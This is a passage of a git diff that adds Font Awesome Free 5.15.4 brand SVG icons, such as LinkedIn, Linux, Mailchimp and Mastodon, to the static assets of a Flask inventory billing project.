PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/linkedin.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/linkedin.svg new file mode 100644 index 00000000..ad642443 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/linkedin.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9V416z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/linode.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/linode.svg new file mode 100644 index 00000000..9d97db11 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/linode.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M437.4 226.3c-.3-.9-.9-1.4-1.4-2l-70-38.6c-.9-.6-2-.6-3.1 0l-58.9 36c-.9.6-1.4 1.7-1.4 2.6l-.9 31.4-24-16c-.9-.6-2.3-.6-3.1 0L240 260.9l-1.4-35.1c0-.9-.6-2-1.4-2.3l-36-24.3 33.7-17.4c1.1-.6 1.7-1.7 1.7-2.9l-5.7-132.3c0-.9-.9-2-1.7-2.6L138.6.3c-.9-.3-1.7-.3-2.3-.3L12.6 38.6c-1.4.6-2.3 2-2 3.7L38 175.4c.9 3.4 34 27.4 38.6 30.9l-26.9 12.9c-1.4.9-2 2.3-1.7 3.4l20.6 100.3c.6 2.9 23.7 23.1 27.1 26.3l-17.4 10.6c-.9.6-1.7 2-1.4 3.1 1.4 7.1 15.4 77.7 16.9 79.1l65.1 69.1c.6.6 1.4.6 2.3.9.6 0 1.1-.3 1.7-.6l83.7-66.9c.9-.6 1.1-1.4 1.1-2.3l-2-46 28 23.7c1.1.9 2.9.9 4 0l66.9-53.4c.9-.6 1.1-1.4 1.1-2.3l2.3-33.4 20.3 14c1.1.9 2.6.9 3.7 0l54.6-43.7c.6-.3 1.1-1.1 1.1-2 .9-6.5 10.3-70.8 9.7-72.8zm-204.8 4.8l4 92.6-90.6 61.2-14-96.6 100.6-57.2zm-7.7-180l5.4 126-106.6 55.4L104 97.7l120.9-46.6zM44 173.1L18 48l79.7 49.4 19.4 132.9L44 173.1zm30.6 147.8L55.7 230l70 58.3 13.7 93.4-64.8-60.8zm24.3 117.7l-13.7-67.1 61.7 60.9 9.7 67.4-57.7-61.2zm64.5 64.5l-10.6-70.9 85.7-61.4 3.1 70-78.2 62.3zm82-115.1c0-3.4.9-22.9-2-25.1l-24.3-20 22.3-14.9c2.3-1.7 1.1-5.7 1.1-8l29.4 22.6.6 68.3-27.1-22.9zm94.3-25.4l-60.9 48.6-.6-68.6 65.7-46.9-4.2 66.9zm27.7-25.7l-19.1-13.4 2-34c.3-.9-.3-2-1.1-2.6L308 259.7l.6-30 64.6 40.6-5.8 66.6zm54.6-39.8l-48.3 38.3 5.7-65.1 51.1-36.6-8.5 63.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/linux.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/linux.svg new file mode 100644 index 00000000..8ae1ba96 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/linux.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M220.8 123.3c1 .5 1.8 1.7 3 1.7 1.1 0 2.8-.4 2.9-1.5.2-1.4-1.9-2.3-3.2-2.9-1.7-.7-3.9-1-5.5-.1-.4.2-.8.7-.6 1.1.3 1.3 2.3 1.1 3.4 1.7zm-21.9 1.7c1.2 0 2-1.2 3-1.7 1.1-.6 3.1-.4 3.5-1.6.2-.4-.2-.9-.6-1.1-1.6-.9-3.8-.6-5.5.1-1.3.6-3.4 1.5-3.2 2.9.1 1 1.8 1.5 2.8 1.4zM420 403.8c-3.6-4-5.3-11.6-7.2-19.7-1.8-8.1-3.9-16.8-10.5-22.4-1.3-1.1-2.6-2.1-4-2.9-1.3-.8-2.7-1.5-4.1-2 9.2-27.3 5.6-54.5-3.7-79.1-11.4-30.1-31.3-56.4-46.5-74.4-17.1-21.5-33.7-41.9-33.4-72C311.1 85.4 315.7.1 234.8 0 132.4-.2 158 103.4 156.9 135.2c-1.7 23.4-6.4 41.8-22.5 64.7-18.9 22.5-45.5 58.8-58.1 96.7-6 17.9-8.8 36.1-6.2 53.3-6.5 5.8-11.4 14.7-16.6 20.2-4.2 4.3-10.3 5.9-17 8.3s-14 6-18.5 14.5c-2.1 3.9-2.8 8.1-2.8 12.4 0 3.9.6 7.9 1.2 11.8 1.2 8.1 2.5 15.7.8 20.8-5.2 14.4-5.9 24.4-2.2 31.7 3.8 7.3 11.4 10.5 20.1 12.3 17.3 3.6 40.8 2.7 59.3 12.5 19.8 10.4 39.9 14.1 55.9 10.4 11.6-2.6 21.1-9.6 25.9-20.2 12.5-.1 26.3-5.4 48.3-6.6 14.9-1.2 33.6 5.3 55.1 4.1.6 2.3 1.4 4.6 2.5 6.7v.1c8.3 16.7 23.8 24.3 40.3 23 16.6-1.3 34.1-11 48.3-27.9 13.6-16.4 36-23.2 50.9-32.2 7.4-4.5 13.4-10.1 13.9-18.3.4-8.2-4.4-17.3-15.5-29.7zM223.7 87.3c9.8-22.2 34.2-21.8 44-.4 6.5 14.2 3.6 30.9-4.3 40.4-1.6-.8-5.9-2.6-12.6-4.9 1.1-1.2 3.1-2.7 3.9-4.6 4.8-11.8-.2-27-9.1-27.3-7.3-.5-13.9 10.8-11.8 23-4.1-2-9.4-3.5-13-4.4-1-6.9-.3-14.6 2.9-21.8zM183 75.8c10.1 0 20.8 14.2 19.1 33.5-3.5 1-7.1 2.5-10.2 4.6 1.2-8.9-3.3-20.1-9.6-19.6-8.4.7-9.8 21.2-1.8 28.1 1 .8 1.9-.2-5.9 5.5-15.6-14.6-10.5-52.1 8.4-52.1zm-13.6 60.7c6.2-4.6 13.6-10 14.1-10.5 4.7-4.4 13.5-14.2 27.9-14.2 7.1 0 15.6 2.3 25.9 8.9 6.3 4.1 11.3 4.4 22.6 9.3 8.4 3.5 13.7 9.7 10.5 18.2-2.6 7.1-11 14.4-22.7 18.1-11.1 3.6-19.8 16-38.2 14.9-3.9-.2-7-1-9.6-2.1-8-3.5-12.2-10.4-20-15-8.6-4.8-13.2-10.4-14.7-15.3-1.4-4.9 0-9 4.2-12.3zm3.3 334c-2.7 35.1-43.9 34.4-75.3 18-29.9-15.8-68.6-6.5-76.5-21.9-2.4-4.7-2.4-12.7 2.6-26.4v-.2c2.4-7.6.6-16-.6-23.9-1.2-7.8-1.8-15 .9-20 3.5-6.7 8.5-9.1 14.8-11.3 10.3-3.7 11.8-3.4 19.6-9.9 5.5-5.7 9.5-12.9 14.3-18 5.1-5.5 10-8.1 17.7-6.9 8.1 1.2 15.1 6.8 21.9 16l19.6 35.6c9.5 19.9 43.1 48.4 41 68.9zm-1.4-25.9c-4.1-6.6-9.6-13.6-14.4-19.6 7.1 0 14.2-2.2 16.7-8.9 2.3-6.2 0-14.9-7.4-24.9-13.5-18.2-38.3-32.5-38.3-32.5-13.5-8.4-21.1-18.7-24.6-29.9s-3-23.3-.3-35.2c5.2-22.9 18.6-45.2 27.2-59.2 2.3-1.7.8 3.2-8.7 20.8-8.5 16.1-24.4 53.3-2.6 82.4.6-20.7 5.5-41.8 13.8-61.5 12-27.4 37.3-74.9 39.3-112.7 1.1.8 4.6 3.2 6.2 4.1 4.6 2.7 8.1 6.7 12.6 10.3 12.4 10 28.5 9.2 42.4 1.2 6.2-3.5 11.2-7.5 15.9-9 9.9-3.1 17.8-8.6 22.3-15 7.7 30.4 25.7 74.3 37.2 95.7 6.1 11.4 18.3 35.5 23.6 64.6 3.3-.1 7 .4 10.9 1.4 13.8-35.7-11.7-74.2-23.3-84.9-4.7-4.6-4.9-6.6-2.6-6.5 12.6 11.2 29.2 33.7 35.2 59 2.8 11.6 3.3 23.7.4 35.7 16.4 6.8 35.9 17.9 30.7 34.8-2.2-.1-3.2 0-4.2 0 3.2-10.1-3.9-17.6-22.8-26.1-19.6-8.6-36-8.6-38.3 12.5-12.1 4.2-18.3 14.7-21.4 27.3-2.8 11.2-3.6 24.7-4.4 39.9-.5 7.7-3.6 18-6.8 29-32.1 22.9-76.7 32.9-114.3 7.2zm257.4-11.5c-.9 16.8-41.2 19.9-63.2 46.5-13.2 15.7-29.4 24.4-43.6 25.5s-26.5-4.8-33.7-19.3c-4.7-11.1-2.4-23.1 1.1-36.3 3.7-14.2 9.2-28.8 9.9-40.6.8-15.2 1.7-28.5 4.2-38.7 2.6-10.3 6.6-17.2 13.7-21.1.3-.2.7-.3 1-.5.8 13.2 7.3 26.6 18.8 29.5 12.6 3.3 30.7-7.5 38.4-16.3 9-.3 15.7-.9 22.6 5.1 9.9 8.5 7.1 30.3 17.1 41.6 10.6 11.6 14 19.5 13.7 24.6zM173.3 148.7c2 1.9 4.7 4.5 8 7.1 6.6 5.2 15.8 10.6 27.3 10.6 11.6 0 22.5-5.9 31.8-10.8 4.9-2.6 10.9-7 14.8-10.4s5.9-6.3 3.1-6.6-2.6 2.6-6 5.1c-4.4 3.2-9.7 7.4-13.9 9.8-7.4 4.2-19.5 10.2-29.9 10.2s-18.7-4.8-24.9-9.7c-3.1-2.5-5.7-5-7.7-6.9-1.5-1.4-1.9-4.6-4.3-4.9-1.4-.1-1.8 3.7 1.7 6.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/lyft.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/lyft.svg new file mode 100644 index 00000000..adbd5e66 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/lyft.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 81.1h77.8v208.7c0 33.1 15 52.8 27.2 61-12.7 11.1-51.2 20.9-80.2-2.8C7.8 334 0 310.7 0 289V81.1zm485.9 173.5v-22h23.8v-76.8h-26.1c-10.1-46.3-51.2-80.7-100.3-80.7-56.6 0-102.7 46-102.7 102.7V357c16 2.3 35.4-.3 51.7-14 17.1-14 24.8-37.2 24.8-59v-6.7h38.8v-76.8h-38.8v-23.3c0-34.6 52.2-34.6 52.2 0v77.1c0 56.6 46 102.7 102.7 102.7v-76.5c-14.5 0-26.1-11.7-26.1-25.9zm-294.3-99v113c0 15.4-23.8 15.4-23.8 0v-113H91v132.7c0 23.8 8 54 45 63.9 37 9.8 58.2-10.6 58.2-10.6-2.1 13.4-14.5 23.3-34.9 25.3-15.5 1.6-35.2-3.6-45-7.8v70.3c25.1 7.5 51.5 9.8 77.6 4.7 47.1-9.1 76.8-48.4 76.8-100.8V155.1h-77.1v.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/magento.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/magento.svg new file mode 100644 index 00000000..6b9abb39 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/magento.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M445.7 127.9V384l-63.4 36.5V164.7L223.8 73.1 65.2 164.7l.4 255.9L2.3 384V128.1L224.2 0l221.5 127.9zM255.6 420.5L224 438.9l-31.8-18.2v-256l-63.3 36.6.1 255.9 94.9 54.9 95.1-54.9v-256l-63.4-36.6v255.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mailchimp.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mailchimp.svg new file mode 100644 index 00000000..f14bf558 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mailchimp.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M330.61 243.52a36.15 36.15 0 0 1 9.3 0c1.66-3.83 1.95-10.43.45-17.61-2.23-10.67-5.25-17.14-11.48-16.13s-6.47 8.74-4.24 19.42c1.26 6 3.49 11.14 6 14.32zM277.05 252c4.47 2 7.2 3.26 8.28 2.13 1.89-1.94-3.48-9.39-12.12-13.09a31.44 31.44 0 0 0-30.61 3.68c-3 2.18-5.81 5.22-5.41 7.06.85 3.74 10-2.71 22.6-3.48 7-.44 12.8 1.75 17.26 3.71zm-9 5.13c-9.07 1.42-15 6.53-13.47 10.1.9.34 1.17.81 5.21-.81a37 37 0 0 1 18.72-1.95c2.92.34 4.31.52 4.94-.49 1.46-2.22-5.71-8-15.39-6.85zm54.17 17.1c3.38-6.87-10.9-13.93-14.3-7s10.92 13.88 14.32 6.97zm15.66-20.47c-7.66-.13-7.95 15.8-.26 15.93s7.98-15.81.28-15.96zm-218.79 78.9c-1.32.31-6 1.45-8.47-2.35-5.2-8 11.11-20.38 3-35.77-9.1-17.47-27.82-13.54-35.05-5.54-8.71 9.6-8.72 23.54-5 24.08 4.27.57 4.08-6.47 7.38-11.63a12.83 12.83 0 0 1 17.85-3.72c11.59 7.59 1.37 17.76 2.28 28.62 1.39 16.68 18.42 16.37 21.58 9a2.08 2.08 0 0 0-.2-2.33c.03.89.68-1.3-3.35-.39zm299.72-17.07c-3.35-11.73-2.57-9.22-6.78-20.52 2.45-3.67 15.29-24-3.07-43.25-10.4-10.92-33.9-16.54-41.1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-26.47l-12.55 5.33c-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85l14.76 12.51a72.49 72.49 0 0 0-4.1 33.5c3.36 33.4 36 60.42 67.53 60.38 57.73 133.06 267.9 133.28 322.29 3 1.74-4.47 9.11-24.61 9.11-42.38s-10.09-25.27-16.53-25.27zm-316 48.16c-22.82-.61-47.46-21.15-49.91-45.51-6.17-61.31 74.26-75.27 84-12.33 4.54 29.64-4.67 58.49-34.12 57.81zM84.3 249.55C69.14 252.5 55.78 261.09 47.6 273c-4.88-4.07-14-12-15.59-15-13.01-24.85 14.24-73 33.3-100.21C112.42 90.56 186.19 39.68 220.36 48.91c5.55 1.57 23.94 22.89 23.94 22.89s-34.15 18.94-65.8 45.35c-42.66 32.85-74.89 80.59-94.2 132.4zM323.18 350.7s-35.74 5.3-69.51-7.07c6.21-20.16 27 6.1 96.4-13.81 15.29-4.38 35.37-13 51-25.35a102.85 102.85 0 0 1 7.12 24.28c3.66-.66 14.25-.52 11.44 18.1-3.29 19.87-11.73 36-25.93 50.84A106.86 106.86 0 0 1 362.55 421a132.45 132.45 0 0 1-20.34 8.58c-53.51 17.48-108.3-1.74-126-43a66.33 66.33 0 0 1-3.55-9.74c-7.53-27.2-1.14-59.83 18.84-80.37 1.23-1.31 2.48-2.85 2.48-4.79a8.45 8.45 0 0 0-1.92-4.54c-7-10.13-31.19-27.4-26.33-60.83 3.5-24 24.49-40.91 44.07-39.91l5 .29c8.48.5 15.89 1.59 22.88 1.88 11.69.5 22.2-1.19 34.64-11.56 4.2-3.5 7.57-6.54 13.26-7.51a17.45 17.45 0 0 1 13.6 2.24c10 6.64 11.4 22.73 11.92 34.49.29 6.72 1.1 23 1.38 27.63.63 10.67 3.43 12.17 9.11 14 3.19 1.05 6.15 1.83 10.51 3.06 13.21 3.71 21 7.48 26 12.31a16.38 16.38 0 0 1 4.74 9.29c1.56 11.37-8.82 25.4-36.31 38.16-46.71 21.68-93.68 14.45-100.48 13.68-20.15-2.71-31.63 23.32-19.55 41.15 22.64 33.41 122.4 20 151.37-21.35.69-1 .12-1.59-.73-1-41.77 28.58-97.06 38.21-128.46 26-4.77-1.85-14.73-6.44-15.94-16.67 43.6 13.49 71 .74 71 .74s2.03-2.79-.56-2.53zm-68.47-5.7zm-83.4-187.5c16.74-19.35 37.36-36.18 55.83-45.63a.73.73 0 0 1 1 1c-1.46 2.66-4.29 8.34-5.19 12.65a.75.75 0 0 0 1.16.79c11.49-7.83 31.48-16.22 49-17.3a.77.77 0 0 1 .52 1.38 41.86 41.86 0 0 0-7.71 7.74.75.75 0 0 0 .59 1.19c12.31.09 29.66 4.4 41 10.74.76.43.22 1.91-.64 1.72-69.55-15.94-123.08 18.53-134.5 26.83a.76.76 0 0 1-1-1.12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mandalorian.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mandalorian.svg new file mode 100644 index 00000000..cd87d769 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mandalorian.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M232.27 511.89c-1-3.26-1.69-15.83-1.39-24.58.55-15.89 1-24.72 1.4-28.76.64-6.2 2.87-20.72 3.28-21.38.6-1 .4-27.87-.24-33.13-.31-2.58-.63-11.9-.69-20.73-.13-16.47-.53-20.12-2.73-24.76-1.1-2.32-1.23-3.84-1-11.43a92.38 92.38 0 0 0-.34-12.71c-2-13-3.46-27.7-3.25-33.9s.43-7.15 2.06-9.67c3.05-4.71 6.51-14 8.62-23.27 2.26-9.86 3.88-17.18 4.59-20.74a109.54 109.54 0 0 1 4.42-15.05c2.27-6.25 2.49-15.39.37-15.39-.3 0-1.38 1.22-2.41 2.71s-4.76 4.8-8.29 7.36c-8.37 6.08-11.7 9.39-12.66 12.58s-1 7.23-.16 7.76c.34.21 1.29 2.4 2.11 4.88a28.83 28.83 0 0 1 .72 15.36c-.39 1.77-1 5.47-1.46 8.23s-1 6.46-1.25 8.22a9.85 9.85 0 0 1-1.55 4.26c-1 1-1.14.91-2.05-.53a14.87 14.87 0 0 1-1.44-4.75c-.25-1.74-1.63-7.11-3.08-11.93-3.28-10.9-3.52-16.15-1-21a14.24 14.24 0 0 0 1.67-4.61c0-2.39-2.2-5.32-7.41-9.89-7-6.18-8.63-7.92-10.23-11.3-1.71-3.6-3.06-4.06-4.54-1.54-1.78 3-2.6 9.11-3 22l-.34 12.19 2 2.25c3.21 3.7 12.07 16.45 13.78 19.83 3.41 6.74 4.34 11.69 4.41 23.56s.95 22.75 2 24.71c.36.66.51 1.35.34 1.52s.41 2.09 1.29 4.27a38.14 38.14 0 0 1 2.06 9 91 91 0 0 0 1.71 10.37c2.23 9.56 2.77 14.08 2.39 20.14-.2 3.27-.53 11.07-.73 17.32-1.31 41.76-1.85 58-2 61.21-.12 2-.39 11.51-.6 21.07-.36 16.3-1.3 27.37-2.42 28.65-.64.73-8.07-4.91-12.52-9.49-3.75-3.87-4-4.79-2.83-9.95.7-3 2.26-18.29 3.33-32.62.36-4.78.81-10.5 1-12.71.83-9.37 1.66-20.35 2.61-34.78.56-8.46 1.33-16.44 1.72-17.73s.89-9.89 1.13-19.11l.43-16.77-2.26-4.3c-1.72-3.28-4.87-6.94-13.22-15.34-6-6.07-11.84-12.3-12.91-13.85l-1.95-2.81.75-10.9c1.09-15.71 1.1-48.57 0-59.06l-.89-8.7-3.28-4.52c-5.86-8.08-5.8-7.75-6.22-33.27-.1-6.07-.38-11.5-.63-12.06-.83-1.87-3.05-2.66-8.54-3.05-8.86-.62-11-1.9-23.85-14.55-6.15-6-12.34-12-13.75-13.19-2.81-2.42-2.79-2-.56-9.63l1.35-4.65-1.69-3a32.22 32.22 0 0 0-2.59-4.07c-1.33-1.51-5.5-10.89-6-13.49a4.24 4.24 0 0 1 .87-3.9c2.23-2.86 3.4-5.68 4.45-10.73 2.33-11.19 7.74-26.09 10.6-29.22 3.18-3.47 7.7-1 9.41 5 1.34 4.79 1.37 9.79.1 18.55a101.2 101.2 0 0 0-1 11.11c0 4 .19 4.69 2.25 7.39 3.33 4.37 7.73 7.41 15.2 10.52a18.67 18.67 0 0 1 4.72 2.85c11.17 10.72 18.62 16.18 22.95 16.85 5.18.8 8 4.54 10 13.39 1.31 5.65 4 11.14 5.46 11.14a9.38 9.38 0 0 0 3.33-1.39c2-1.22 2.25-1.73 2.25-4.18a132.88 132.88 0 0 0-2-17.84c-.37-1.66-.78-4.06-.93-5.35s-.61-3.85-1-5.69c-2.55-11.16-3.65-15.46-4.1-16-1.55-2-4.08-10.2-4.93-15.92-1.64-11.11-4-14.23-12.91-17.39A43.15 43.15 0 0 1 165.24 78c-1.15-1-4-3.22-6.35-5.06s-4.41-3.53-4.6-3.76a22.7 22.7 0 0 0-2.69-2c-6.24-4.22-8.84-7-11.26-12l-2.44-5-.22-13-.22-13 6.91-6.55c3.95-3.75 8.48-7.35 10.59-8.43 3.31-1.69 4.45-1.89 11.37-2 8.53-.19 10.12 0 11.66 1.56s1.36 6.4-.29 8.5a6.66 6.66 0 0 0-1.34 2.32c0 .58-2.61 4.91-5.42 9a30.39 30.39 0 0 0-2.37 6.82c20.44 13.39 21.55 3.77 14.07 29L194 66.92c3.11-8.66 6.47-17.26 8.61-26.22.29-7.63-12-4.19-15.4-8.68-2.33-5.93 3.13-14.18 6.06-19.2 1.6-2.34 6.62-4.7 8.82-4.15.88.22 4.16-.35 7.37-1.28a45.3 45.3 0 0 1 7.55-1.68 29.57 29.57 0 0 0 6-1.29c3.65-1.11 4.5-1.17 6.35-.4a29.54 29.54 0 0 0 5.82 1.36 18.18 18.18 0 0 1 6 1.91 22.67 22.67 0 0 0 5 2.17c2.51.68 3 .57 7.05-1.67l4.35-2.4L268.32 5c10.44-.4 10.81-.47 15.26-2.68L288.16 0l2.46 1.43c1.76 1 3.14 2.73 4.85 6 2.36 4.51 2.38 4.58 1.37 7.37-.88 2.44-.89 3.3-.1 6.39a35.76 35.76 0 0 0 2.1 5.91 13.55 13.55 0 0 1 1.31 4c.31 4.33 0 5.3-2.41 6.92-2.17 1.47-7 7.91-7 9.34a14.77 14.77 0 0 1-1.07 3c-5 11.51-6.76 13.56-14.26 17-9.2 4.2-12.3 5.19-16.21 5.19-3.1 0-4 .25-4.54 1.26a18.33 18.33 0 0 1-4.09 3.71 13.62 13.62 0 0 0-4.38 4.78 5.89 5.89 0 0 1-2.49 2.91 6.88 6.88 0 0 0-2.45 1.71 67.62 67.62 0 0 1-7 5.38c-3.33 2.34-6.87 5-7.87 6A7.27 7.27 0 0 1 224 100a5.76 5.76 0 0 0-2.13 1.65c-1.31 1.39-1.49 2.11-1.14 4.6a36.45 36.45 0 0 0 1.42 5.88c1.32 3.8 1.31 7.86 0 10.57s-.89 6.65 1.35 9.59c2 2.63 2.16 4.56.71 8.84a33.45 33.45 0 0 0-1.06 8.91c0 4.88.22 6.28 1.46 8.38s1.82 2.48 3.24 2.32c2-.23 2.3-1.05 4.71-12.12 2.18-10 3.71-11.92 13.76-17.08 2.94-1.51 7.46-4 10-5.44s6.79-3.69 9.37-4.91a40.09 40.09 0 0 0 15.22-11.67c7.11-8.79 10-16.22 12.85-33.3a18.37 18.37 0 0 1 2.86-7.73 20.39 20.39 0 0 0 2.89-7.31c1-5.3 2.85-9.08 5.58-11.51 4.7-4.18 6-1.09 4.59 10.87-.46 3.86-1.1 10.33-1.44 14.38l-.61 7.36 4.45 4.09 4.45 4.09.11 8.42c.06 4.63.47 9.53.92 10.89l.82 2.47-6.43 6.28c-8.54 8.33-12.88 13.93-16.76 21.61-1.77 3.49-3.74 7.11-4.38 8-2.18 3.11-6.46 13-8.76 20.26l-2.29 7.22-7 6.49c-3.83 3.57-8 7.25-9.17 8.17-3.05 2.32-4.26 5.15-4.26 10a14.62 14.62 0 0 0 1.59 7.26 42 42 0 0 1 2.09 4.83 9.28 9.28 0 0 0 1.57 2.89c1.4 1.59 1.92 16.12.83 23.22-.68 4.48-3.63 12-4.7 12-1.79 0-4.06 9.27-5.07 20.74-.18 2-.62 5.94-1 8.7s-1 10-1.35 16.05c-.77 12.22-.19 18.77 2 23.15 3.41 6.69.52 12.69-11 22.84l-4 3.49.07 5.19a40.81 40.81 0 0 0 1.14 8.87c4.61 16 4.73 16.92 4.38 37.13-.46 26.4-.26 40.27.63 44.15a61.31 61.31 0 0 1 1.08 7c.17 2 .66 5.33 1.08 7.36.47 2.26.78 11 .79 22.74v19.06l-1.81 2.63c-2.71 3.91-15.11 13.54-15.49 12.29zm29.53-45.11c-.18-.3-.33-6.87-.33-14.59 0-14.06-.89-27.54-2.26-34.45-.4-2-.81-9.7-.9-17.06-.15-11.93-1.4-24.37-2.64-26.38-.66-1.07-3-17.66-3-21.3 0-4.23 1-6 5.28-9.13s4.86-3.14 5.48-.72c.28 1.1 1.45 5.62 2.6 10 3.93 15.12 4.14 16.27 4.05 21.74-.1 5.78-.13 6.13-1.74 17.73-1 7.07-1.17 12.39-1 28.43.17 19.4-.64 35.73-2 41.27-.71 2.78-2.8 5.48-3.43 4.43zm-71-37.58a101 101 0 0 1-1.73-10.79 100.5 100.5 0 0 0-1.73-10.79 37.53 37.53 0 0 1-1-6.49c-.31-3.19-.91-7.46-1.33-9.48-1-4.79-3.35-19.35-3.42-21.07 0-.74-.34-4.05-.7-7.36-.67-6.21-.84-27.67-.22-28.29 1-1 6.63 2.76 11.33 7.43l5.28 5.25-.45 6.47c-.25 3.56-.6 10.23-.78 14.83s-.49 9.87-.67 11.71-.61 9.36-.94 16.72c-.79 17.41-1.94 31.29-2.65 32a.62.62 0 0 1-1-.14zm-87.18-266.59c21.07 12.79 17.84 14.15 28.49 17.66 13 4.29 18.87 7.13 23.15 16.87C111.6 233.28 86.25 255 78.55 268c-31 52-6 101.59 62.75 87.21-14.18 29.23-78 28.63-98.68-4.9-24.68-39.95-22.09-118.3 61-187.66zm210.79 179c56.66 6.88 82.32-37.74 46.54-89.23 0 0-26.87-29.34-64.28-68 3-15.45 9.49-32.12 30.57-53.82 89.2 63.51 92 141.61 92.46 149.36 4.3 70.64-78.7 91.18-105.29 61.71z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/markdown.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/markdown.svg new file mode 100644 index 00000000..30af43c4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/markdown.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M593.8 59.1H46.2C20.7 59.1 0 79.8 0 105.2v301.5c0 25.5 20.7 46.2 46.2 46.2h547.7c25.5 0 46.2-20.7 46.1-46.1V105.2c0-25.4-20.7-46.1-46.2-46.1zM338.5 360.6H277v-120l-61.5 76.9-61.5-76.9v120H92.3V151.4h61.5l61.5 76.9 61.5-76.9h61.5v209.2zm135.3 3.1L381.5 256H443V151.4h61.5V256H566z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mastodon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mastodon.svg new file mode 100644 index 00000000..e9248ae7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing 